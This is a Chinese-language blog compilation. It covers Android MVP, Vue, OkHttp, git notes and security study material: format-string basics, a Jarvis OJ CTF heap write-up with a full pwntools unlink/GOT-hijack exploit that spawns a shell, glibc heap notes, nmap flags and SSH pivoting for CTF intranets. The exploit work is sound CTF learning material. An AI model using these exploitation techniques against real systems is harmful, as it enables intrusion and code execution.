【Android】MVP模式总结

在短学期的软件实训中编写了Android APP,尝试使用了MVP模式
查阅了许多资料以后,终于大致理解了如何将MVP模式应用在实际的代码编写上
总结一下,希望大家指正错误。

前言

在开始学习MVP模式时,许多资料会给出一张结构图。
structure
对于MVP模式的理论,大概就是将UI操作和业务逻辑层分离,在View层中进行页面UI的更新,而将业务逻辑放在Presenter中,且View不直接操作Model,而是用过Presenter进行操作。
然而,在了解了MVP的理论之后,我依然不知道该从何下手使用MVP模式来构建Android应用。所以,我想从我刚写的实例出发,对MVP模式进行总结。

工程结构

在我的实例中,我的工程模块目录是这样子的。
category
按功能来进行划分模块,便于进行管理。每个文件功能如下:

  • LoginActivity activity文件,实现ILoginView接口(因为界面操作需要)
  • ILoginView MVP模式中的View接口,定义需要进行的界面UI操作,比如弹出加载框,按钮disable等等
  • ILoginPresenter MVP模式中的Presenter接口,定义业务逻辑操作,比如使用retrofit进行请求登录,获取信息后更新model等操作
  • LoginPresenterCompl 实现ILoginPresenter接口,具体实现网络请求的操作等等。
    以上就是MVP模式中重要的的几个接口和实现类,当然若是由Model操作还需要定义一个Model接口和一个实现接口的类。
    有些人可能会问,只一个登录功能就要定义这么多的文件,MVP这么麻烦?
    而我只能说,当使用上了之后就会发现开发不知道爽了多少倍,虽然文件多,但是每个文件都不会太长,代码的可阅读性好了很多,而且在调试的时候可以很精确的找到代码区域,界面UI问题直接找到activity,网络逻辑问题直接找到Presenter类,开发效率成倍提升。

具体实现

以上虽然大致说了MVP模式中的主要几个文件,那个文件实现哪个,下面讲具体实现的方法

在Activity文件中

public class LoginActivity extends AppCompatActivity implements ILoginView{

    private LoginPresenterCompl mLoginPresenter;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_login);
        ButterKnife.bind(this);
        mLoginPresenter = new LoginPresenterCompl(this, this);
        ...
    }
    ... //实现ILoginView 和 组件的绑定
}

在Activity中实现View接口的同时,保有Presenter实例,比如在绑定Click事件后,可以通过mLoginPresenter.login()来进行登录操作,使得Activity文件中只进行组件绑定和界面的操作,其他的逻辑写在Presenter中。

在Presnter类中

public class LoginPresenterCompl implements ILoginPresenter {

    private ILoginView mloginView;
    private Context mContext;

    public LoginPresenterCompl(ILoginView view, Context context) {
        mloginView = view;
        mContext = context;
    }
    ...
}

在Presenter实现的时候,需要由View接口成员,若是有Model则还有Model接口成员,这样便可以讲View与Presenter的交互,当Presenter从服务端获取到数据时,便可以调用View的接口来进行界面UI的更新,这样便减少了Handler,和网络请求后复杂的回调函数。

在接口中

在View接口中可以定义一些函数,比如:

  • onSuccess() // 网络请求成功时界面的反应
  • onFailure() // 网络请求失败时界面的反应
  • showLoading() // 请求时出现loading框

    在Presenter接口中就主要定义自己的业务逻辑,比如在登录时:

  • login(username, password);

总结

使用MVP模式进行开发APP确实便利的不少,虽然可能在实现某些简单功能时会多很多文件,整个开发过程非常具有效率。当接口定义完后,编写代码思路就已经大致理清了,剩下的便是对大致的功能的具体实现,这个开发思路非常清晰。
而且我认为MVP模式最大的有点便是不需要在界面刷新上编写handler,这样也不需要定义各种message,并在每个回调函数中发送(在MVC模式中这些操作全是写在activity中),没有了冗长的回调函数,activity文件变得干净了许多,代码更加的清晰,开发更加舒畅。

最后一点

在编写MVP的时候,可以写将通用操作进行封装,比如弹loading框等操作,写在一个Base接口中,并让一个BaseActiviy去实现,再让所有的Activity去继承BaseActivity,这样会方便很多,后知后觉,项目写到后面已无力在大改。。

Vue框架使用总结

Vue是目前比较流行的web前端框架,所以趁着暑假学习一波,于是写了自己的博客系统
项目地址: 前端 后端
因为Vue框架的开发者文档写得非常完善,所以这篇文章不会包含Vue的基本用法
这篇文章旨在记录使用Vue开发spa(单页面应用程序)过程中的一些坑点,和tip

前言

Vue是一个MVVM框架,所以在DOM操作上由之前的getElementById()操作DOM元素的方式转变为对对象属性的赋值,编写思维需要较大的转变,不过确实使开发便利了不少。

Vue-cli

在熟悉了Vue的基础知识后,可以使用Vue-cli直接创建Vue项目工程,在这里需要注意自己使用node安装的Vue-cli的版本是3.x还是2.x,两个版本的Vue-cli的操作指令还是有所区别,在查询资料的时候需要注意,不然会很容易查错。

Vue-Router

在构建单页应用的时候需要使用到Vue-router插件,这与Vue是分开的,需要另外安装,在安装完成后可以在生成的router.js文件中设置自己的路由。
Vue-router的文档也比较完善,可以在官网查询

ajax

axios

Vue框架并不集成ajax功能,所以需要自己另外寻找ajax模块,我所使用的是axios,还是比较轻便的
在安装完axios后,在main.js添加下列代码

import axios from 'axios'
Vue.prototype.$http = axios;

这样就可以在所有组件中使用this.$http({method:xx,url:xx}).then()来使用ajax功能

属性操作

在ajax请求完后,我们需要根据后端数据来更新响应的前端界面,这时候就会出现一些小坑。
当你这样编写时:

this.$http({
    method: 'get',
    url: '/api/xxx'
}).then(function (){
    相关操作
})

会发现在then()的回调函数中this并不指向组件的Vue对象,也就是无法对Vue对象的属性进行操作。
解决的方法是使用箭头函数()=>{}由于箭头函数会使用上下文的this对象,所以可以操作Vue对象

页面加载时请求

当在Vue对象中写好了ajax请求函数后,需要在页面打开时候就进行请求加载数据,我们可以在Vue对象创建的生命周期created中进行调用

export default {
  name:'',  
  created() {
    this.getArticleInfo();
  }
}

调试

在Vue应用调试的时候还是踩了一些坑。在调试的时候需要接入后端的数据,那么问题来了,使用npm run serve打开的Vue应用与后端程序端口不一致,由于浏览器的同源策略,ajax无法获取到后端的数据。
这个问题有两个解决方法:

  1. 把自己Vue应用npm run build,把静态文件放到后端程序中一起调试(无比的傻),虽然傻,但也是一种办法,只是每次调试的时候都要build一次而已…

  2. 设置代理(正确姿势),创建vue.config.js文件(工程本身可能没有生成,若是生成了可以直接使用),在其中添加下列代码,设置后端程序的地址端口,旨在将在serve时没有找到的路由转发到设置的地址中。

module.exports = {
    devServer: {
        proxy:"http://localhost:5000"
    }
}

部署

在部署的时候,我的选择是使用nginx在部署静态文件,然后后端(express)另起端口,使用nginx设置代理将相关的后端请求转发。我的后端数据路由全在/api中,所以在nginx中设置

location /api {
    proxy_pass http://127.0.0.1:5000;
}

还有一个点,在部署单页应用的时候,路由为虚拟路由,也就是如果以直接输入url的方式访问除了index的地址时都会404,所以需要在nginx中设置将404交给index.html处理

location / {
    # First attempt to serve request as file, then
    # as directory, then fall back to displaying a 404.
    try_files $uri $uri/ /index.html;
}

【Android】OkHttp3总结与封装

开始使用

在app目录下的build.gradle中添加依赖:

implementation 'com.squareup.okhttp3:okhttp:3.13.1'
implementation 'com.squareup.okio:okio:2.2.2'

GET方法

OkHttpClient client = new OkHttpClient.Builder().build();
Request.Builder builder = new Request.Builder().url(url);
builder.method("GET", null);
Request request = builder.build();
Call call = client.newCall(request);
call.enqueue(new Callback() {
    @Override
    public void onFailure(Call call, IOException e) {
        ...
    }

    @Override
    public void onResponse(Call call, Response response) throws IOException {
        ...
    }
});

GET参数的传递可以使用拼接字符串的方式直接拼接到url中。

POST方法

OkHttpClient client = new OkHttpClient.Builder().build();
FormBody.Builder formBody = new FormBody.Builder();
formBody.add(key,value);
... // 添加参数
RequestBody form = formBody.build();
Request.Builder builder = new Request.Builder();
Request request = builder.post(form)
        .url(url)
        .build();
Call call = client.newCall(request);
call.enqueue(new Callback() {
    @Override
    public void onFailure(Call call, IOException e) {
        ...
    }

    @Override
    public void onResponse(Call call, Response response) throws IOException {
        ...
    }
});

封装

由于OkHttp发送请求的方式比较繁琐,需要构建许多参数,所以需要我们自己进行封装,以下是我的封装方式:

/**
- @author:y4ngyy
*/

public class HttpClient {
    private OkHttpClient client;
    private static HttpClient mClient;
    private Context context;
    private HttpClient(Context c) {
        context = c;
        client = new OkHttpClient.Builder()
                .cookieJar(new PersistentCookieJar(new SetCookieCache(), new SharedPrefsCookiePersistor(context)))
                .followRedirects(true)
                .followSslRedirects(true)
                .build();
    }

    public static HttpClient getInstance(Context c){
        if (mClient == null) {
            mClient = new HttpClient(c);
        }
        return  mClient;
    }


    // GET方法
    public void get(String url, HashMap<String,String> param, MyCallback callback) {
        // 拼接请求参数
        if (!param.isEmpty()) {
            StringBuffer buffer = new StringBuffer(url);
            buffer.append('?');
            for (Map.Entry<String,String> entry: param.entrySet()) {
                buffer.append(entry.getKey());
                buffer.append('=');
                buffer.append(entry.getValue());
                buffer.append('&');
            }
            buffer.deleteCharAt(buffer.length()-1);
            url = buffer.toString();
        }
        Request.Builder builder = new Request.Builder().url(url);
        builder.method("GET", null);
        Request request = builder.build();
        Call call = client.newCall(request);
        call.enqueue(new Callback() {
            @Override
            public void onFailure(Call call, IOException e) {
                callback.failed(e);
            }

            @Override
            public void onResponse(Call call, Response response) throws IOException {
                callback.success(response);
            }
        });
    }

    public void get(String url, MyCallback callback) {
        get(url, new HashMap<String, String>(), callback);
    }

    // POST 方法
    public void post(String url, HashMap<String, String> param, MyCallback callback) {
        FormBody.Builder formBody = new FormBody.Builder();
        if(!param.isEmpty()) {
            for (Map.Entry<String,String> entry: param.entrySet()) {
                formBody.add(entry.getKey(),entry.getValue());
            }
        }
        RequestBody form = formBody.build();
        Request.Builder builder = new Request.Builder();
        Request request = builder.post(form)
                .url(url)
                .build();
        Call call = client.newCall(request);
        call.enqueue(new Callback() {
            @Override
            public void onFailure(Call call, IOException e) {
                callback.failed(e);
            }

            @Override
            public void onResponse(Call call, Response response) throws IOException {
                callback.success(response);
            }
        });
    }
    public interface MyCallback {
        void success(Response res) throws IOException;
        void failed(IOException e);
    }
}

想法有以下几点:

  1. get()post()方法中,将需要的参数以HashMap传递键值对,并把相应操作封装。
  2. 第二个get()重载是考虑到不需要参数的GET请求的情况。
  3. 留下myCallback接口来对不同请求做处理。
  4. 由于需要保持cookie来做登录等操作,所以用到了第三方库PersistentCookieJar
  5. 考虑到cookie的问题,在不同的activity间需要使用同一个实例才行,有想过使用Intent序列化传递对象,但由于activity太多,传递太繁琐,所以直接写成单例模式。

对于OkHttp的源码还没有深究,有时间再继续研究。

只是菜鸡一个..有错还请指正..继续努力学习

Git版本控制

《GitHub入门与实践》笔记
推荐Git练习网站:LearnGitBranching

初次使用时,使用下列命令设置信息

git config --global user.name ""
git config --global user.email ""

然后在~/.gitconfig中会保存信息,下次修改可以直接修改文件

与github建立连接

先生成ssh密钥:

ssh-keygen -t rsa -C "email"

按程序运行完后会生成id_rsa文件为私有密钥,id_rsa.pub为公开密钥。
在github设置中找到Add SSH Key后,在其中输入id_rsa.pub中的内容。
然后可以测试是否链接成功。

ssh -T git@github.com

仓库操作

初始化仓库,选择文件夹:

git init

以下为常用指令:

git status --- 查看仓库状态
git add file.xxx --- 添加新文件进入暂存区
git commit -m "description" --- 提交
git push --- 将更新上传至github仓库

查看日志git log:

git log --- 显示提交的历史记录
git log --pretty=short --- 显示一行
git log -p --- 显示提交带来的改动
git log -p filename --- 查看文件的提交日志和改动
git log --graph --- 以图表的形式查看分支

比较文件git diff:

使用git diff指令可以查看当前工作树与暂存区的区别。在commit一次记录前要记得使用

git diff HEAD

来查看前后的改动, 其中HEAD为当前分支中最新一次提交的指针

分支操作

git branch --- 查看分支列表
git branch xxx --- 创建新分支

分支切换:

git checkout -b xxx --- 创建新分支并切换到该分支
git checkout xxx --- 切换分支
git checkout - --- 切换到上一个分支

合并分支:

git checkout master --- 先切换会主分支
git merge --no-ff xxx --- 合并分支并提交合并记录

回溯历史版本

回溯命令为:

git reset --hard (回溯时间点的哈希值)

注意:git log命令只能查看以当前状态为终点的历史日志
所以,若想回到原来状态则需使用git reflog命令查看仓库的操作日志,找出之前时间点的哈希值,再回复回去。

压缩历史记录

有时刚提交完记录就发现自己有些许拼写错误,修改后又再次提交,这样就会有两个同版本的历史记录,这时可以将两条历史记录压缩为一条:

git rebase -i HEAD~2

HEAD~2为最新提交的两条记录

远程仓库操作

在github中先创建一个新的空仓库,然后使用命令:

git remote add (标识符:默认为origin) (仓库地址)

然后进行推送:

git push -u (origin) master

【PWN】格式化字符串

C语言中经常使用scanfpringtf进行格式化的读入和输出,但是没有做好过滤可能导致程序漏洞。

基础知识

通常C语言中的占位符有如下:

占位符 作用
%p 以16进制输出指针的值(地址)
%x 输出16进制值(与%p有区别)
%s 输出字符串值
%d 输出10进制整数
%n 占位符前面成功输入的字符个数写入变量中

%number$p可以指定后number个参数输出。

漏洞点

若程序中直接使用printf(str),且str我们可以控制,则在str中输入格式化字符串,可以泄露出栈内容,且可以进行任意地址写。
利用方式:

  1. 泄露出栈中内容,找到栈中str的位置(利用%number$x)进行探查。
  2. 构造payload地址+填充字符+%number$n可以任意地址写入内容。

Jarvis OJ PWN level6 WriteUp

终于做完了自己在pwn方向的第一道堆题,参考了writeup1writeup2怼了四天,终于理解了整道题目,本地调通了,但是题目服务器貌似有点问题,题目提供的libc偏移对不上,远程没有调通

整体思路

  1. 泄露出libc的基址和heap的地址
  2. 根据泄露的libc基址算出system函数的基址
  3. 伪造chunk,free掉伪造的chunk触发unlink,使得可以任意地址写
  4. 劫持got表中的free为system函数地址,调用删除功能,getshell

具体分析

首先查看程序功能:

== Blue-lotus Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice:

再拖入IDA看一下逻辑。找到可以利用的地方:

  1. 程序一开始malloc一个3096大小的堆用来管理之后创建的note
  2. delete功能在free之后没有将指针置空,可以进行利用
  3. 在new note的时候,尾部没有加上\x00,可以用来进行地址泄露
  4. 在new note的时候,有逻辑判断让malloc的chunk至少为136大小,属于small chunk的范畴,可以使用unlink

地址泄露

libc地址泄露的具体原理为:

  1. 由于在写入的时候没有加上\x00,所以在输出的时候可以也一直输出到之后的\x00为止。
  2. 当chunk被free掉后fd和bk指针会的值为<main_arena+offset>,而<main_arena+offset>与libc加载地址的相对偏移是固定的。所以只需要泄露出<main_arena+offset>,再在本地调试找到算出libc和main_arena的偏移,便能知道libc的基址
  3. 最终操作为:创建两个note(chunk)(防止top chunk的合并)=>free掉第一个=>再创建note(这时候申请的chunk的大小要与free掉的一致才能申请到原来的空间,且输入的大小不能超过四个字节,否则会覆盖地址信息)=>list note拿到地址信息

heap地址泄露的原理为:当两个不相邻的chunk被free掉时,会至于bin的链表中,本例中会先放到unsorted bin中,这时chunk的fd和bk中存有chunk的地址信息,接下来操作同上文则可泄露heap地址。

程序在最开始的时候,申请了一个堆作为note的管理,可以看到里面存储了note的地址,所以通过unlink伪造chunk的方式可以取得该区的控制权,从而能任意地址写,劫持got表。需要注意的是伪造chunk的大小要地址对齐。

exp

from pwn import *

context.log_level = 'debug'
#p = process('./freenote_x86')
#libc = ELF('./libc-2.19.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./freenote_x86')
p = remote('pwn2.jarvisoj.com',9885)
def newNote(length, content):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Length of new note: ')
    p.sendline(str(length))
    p.recvuntil('Enter your note: ')
    p.send(content)
    sleep(0.2)

def deleteNote(number):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Note number: ')
    p.sendline(str(number))

def editNote(number, length, content):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Note number: ')
    p.sendline(str(number))
    p.recvuntil('Length of note: ')
    p.sendline(str(length))
    p.recvuntil('Enter your note: ')
    p.sendline(content)

def listNote():
    p.recvuntil('Your choice: ')
    p.sendline('1')

if __name__ == '__main__':
# ======================================== leak libc address
    offset = 0x1b27b0 # main to libc
    newNote(7,'a'*7) # 0
    sleep(0.2)
    newNote(7,'b'*7) # 1
    sleep(0.2)
    deleteNote(0)
    newNote(1,'0')
    listNote()
    sleep(0.2)
    p.recv(7)
    main_addr = u32(p.recv(4))
    libc_addr = main_addr - offset
    system_addr = libc_addr + libc.symbols['system']
    print 'leak address:%x'%main_addr
    print 'libc address:%x'%libc_addr
# ========================================= leak heap address
    newNote(7,'c'*7) # 2
    newNote(7,'d'*7) # 3

    deleteNote(0)
    deleteNote(2)
    newNote(1,'0')
    listNote()
    sleep(0.2)
    p.recv(7)
    heap_base = u32(p.recv(4))-0xd28
    print 'heap address:%x'%heap_base
    deleteNote(0)
    deleteNote(1)
    deleteNote(3)
# ========================================= unlink
    payload = p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)# fakechunk1: prev_size size fd bk fill_data 0x88
    payload = payload.ljust(0x80,'a') 
    payload += p32(0x80)+p32(0x80) # fakechunk2: prev_size size fd-data 
    payload = payload.ljust(0x80*2,'a')
    newNote(len(payload),payload)
    sleep(0.2)
    deleteNote(1)
# ========================================= hijack got
    payload2 = p32(2)+p32(1)+p32(4)+p32(elf.got['free'])+p32(1)+p32(8)+p32(heap_base+0xca8)
    payload2 = payload2.ljust(0x80*2,'\x00')
    editNote(0,len(payload2),payload2)
    editNote(0,4,p32(system_addr))
    editNote(1,8,'/bin/sh\x00')
    print 'system address:%x'%system_addr
    # gdb.attach(p)
    deleteNote(1)
    p.interactive()

【PWN】unlink exploit

堆机制

当一个small chunk被free掉时,会有如下操作:

  1. 检查是否能向后合并,如果相邻低位的chunk也处于被free的状态,则向后合并。

    • 合并两个chunk的内存
    • 修改当前chunk指针为前一个chunk指针
    • 触发unlink操作将前一个chunk从双向链表(bin)中移除
  2. 检查是否能向前合并,如果相邻高位的chunk处于被free的状态,则向前合并,同样能出发unlink 操作

unlink的操作为:

static void unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
          || p->bk_nextsize->fd_nextsize != p)
        malloc_printerr ("corrupted double-linked list (not small)");
      if (fd->fd_nextsize == NULL)
        {
          if (p->fd_nextsize == p)
            fd->fd_nextsize = fd->bk_nextsize = fd;
          else
            {
              fd->fd_nextsize = p->fd_nextsize;
              fd->bk_nextsize = p->bk_nextsize;
              p->fd_nextsize->bk_nextsize = fd;
              p->bk_nextsize->fd_nextsize = fd;
            }
        }
      else
        {
          p->fd_nextsize->bk_nextsize = p->bk_nextsize;
          p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}

其中重要的操作为:(主要就是将chunk从双向链表中移除)

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  fd->bk = bk;
  bk->fd = fd;

还有需要注意的检查:

if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

Exploit

由于有了检查机制,所以unlink所能做的操作有所限制。具体操作为:

  1. 构造p->fd=(p)-12,p->bk=(p)-8
  2. 触发unlink(p)
  3. 于是unlink操作变为了 (p)=(p)-8 => (p)=(p)-12

所以最终结果为(p)指针-12,(p)可以是任何存放p指针的地方。
虽然操作有限,但在一些场合下可以与堆溢出user after free等配合,从而任意地址写。

堆的理解

参考hac师傅的博客CTF-wiki自己总结一下。理解有误,请多指正。

堆块概念

堆为程序运行时可以由程序动态申请的线性内存区域,由低地址向高地址增长(栈为从高到低),在C语言中可以通过mallocfree进行堆块申请和释放操作。

堆块机制

堆分配中以chunk为单位,其中chunk的数据结构如下:

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

prev_size:当前一个堆块为free状态时,存放前一个堆块的大小。在前一个堆块不处于空闲状态时,数据为前一个堆块中用户写入的数据,本字段不计入chunk的大小计算。
size:本堆块的大小,计算方法为size字段(32位为4|64位为8)+用户申请的大小+对齐,32位下对8对齐,64位下对16对齐。且chunk地址的偏移为相邻上一个chunk的地址+上一个chunk的size。在pwndbg中调试好像会加上一位PREV_INUSE
fb&bk:当chunk为free的状态时,分别指向chunk所在单向链表中的前一个chunk和后一个chunk。在被分配状态时,均用来存储数据,fb为存储数据的开始位置。
fb_nextsize&bk_nextsize:在被分配状态时也用来存储数据,在free状态时只在large bin中用到,目前没有用,等用到了再总结。

堆块分配机制

Bins

A bin is a list (doubly or singly linked list) of free (non-allocated) chunks.

bin为一个单向或者双向链表存放空闲的chunk,下一次分配时,若bin中有大小合适的chunk会直接分配出去。bin由存放其中的chunk大小分类为fastbinsmallbinlargebin
比较常用的是fastbin,在32位系统下fastbin主要存储0-80字节的chunk,在64位系统下存储0-160字节的chunk。
其中还有一个unsorted bin,是当small chunklarge chunkfree掉之后,不会直接进入smallbin或largebin,而是会先进入unsortedbin

arena

个人理解arena为chunk的存储组织形式,在arena的最上层始终为Top chunk,向下分出用户chunk,其中主线程中的arena为main arena。

top chunk

top chunk为arena的边界,当bin中无合适的chunk分配时,会将top chunk分出一部分进行分配。
当与top chunk相邻的chunk处于free状态时,该chunk不会进入bin中,而是会合并入top chunk。

补充知识点

  1. malloc返回的是chunk的fd指针,也就是在调试时heap地址+8.

nmap使用

nmap参数总结

目标说明

192.168.0.0/24 表示扫描192.168.0.0-192.168.0.255范围的IP

主机发现

-sP 以ping的方式扫描主机
-sn ping侦测主机,不扫描端口

端口扫描

-sS TCP SYN扫描,是默认的扫描方式
-sT TCP connect()扫描,要三次握手
-sU UDP方式扫描

默认情况下对1-1024端口进行扫描
-p 指定端口扫描范围,-p-为扫描1-65535端口
-F 快速有限的端口扫描
–top-ports (numeber) 扫描常规端口

内网链路搭建总结

参加xnuca的线下赛,多级的内网环境使得比赛体验很差,特此总结一下链路的搭建。

一级

一级链路为个人PC通过跳板机访问内网的服务,一般提供ssh的用户密码,指令:

ssh -2 -D 2335 iiebc@xx.xxx.xx.xx

然后便可以配置proxychains(/etc/proxychains.conf)

socks5 127.0.0.1 2335

通过proxychains或者浏览器中挂代理(socks5)的形式来访问内网服务。
比赛中有另一种情况,个人PC是windows系统时,需要使用linux虚拟机来ssh搭接链路,所以要挂在0.0.0.0上:

ssh -2 -D 0.0.0.0:2335 iiebc@xx.xxx.xx.xx 

然后就可以正常在windows浏览器上挂上虚拟机IP代理,全局的话,尝试使用proxifier,用不了……

二级

二级链路是个人PC要通过跳板机连接攻击机再访问靶机,ssh方式比较稳定,但在只有webshell的情况下也只能用ew之类的不稳定服务。
总结一下ssh,先ssh连接跳板机:

ssh -L 1080:127.0.0.1:2335 iiebc@10.xxx.1.10

然后在跳板机上连接攻击机:

ssh -2 -D 2335 attacker@10.xxx.1.30

proxychains:

socks5 127.0.0.1 1080

多级

多级链路应该按照二级链路的思路,一一端口映射过来,应该可以打通,没有试过……